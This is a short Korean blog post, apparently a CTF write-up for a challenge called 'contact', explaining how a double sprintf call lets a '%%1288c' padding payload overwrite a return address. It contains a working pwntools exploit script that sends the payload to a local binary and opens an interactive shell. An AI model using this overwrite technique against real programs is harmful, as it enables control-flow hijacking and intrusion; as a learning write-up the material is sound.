본문 바로가기
시스템 해킹/cykor

contact-공백이용해서 ret덮어버리는 문제

by sonysame 2018. 1. 11.

contact



이번이 3번째 도전하는 문제였지만, 결국 또 못풀고 답을 봐버렸다ㅜ

익스는 매우 간단! 9시간동안 왜 이걸 생각 못헀는지 모르겠다.


fsb처럼 보이지만, %와 n을 동시에 쓰지 못하는 문제!

그리고, sprintf가 두 번 일어나서, %%를 해야, 두번째 sprintf에서 %가 제대로 박힌다.

첫번쨰 sprintf를 이용해서 공백을 이용해서 ret을 덮은거 까지는 생각했으나, 이상하게 1000을 넘는 수가 들어가면

이상한 값이 들어갔다!!

답을 보니 두번째 sprintf를 이용했다.

%1288c(쉘주소)를 하면 1287자리가 공백으로 채워지고, printf("%1288c","%")로 인식!

그리고, 그 다음 4바이트에 ret을 덮을 쉘주소가 덮어진다.


from pwn import *

import time

s=process('./contact')

#raw_input()

s.recv(1024)

s.send("999"+"\n")

s.recv(1024)

s.send("%%1288c\x24\x89\x04\x08"+"\n")

s.recv(1024)

s.send("0"+"\n")

s.interactive()

s.close()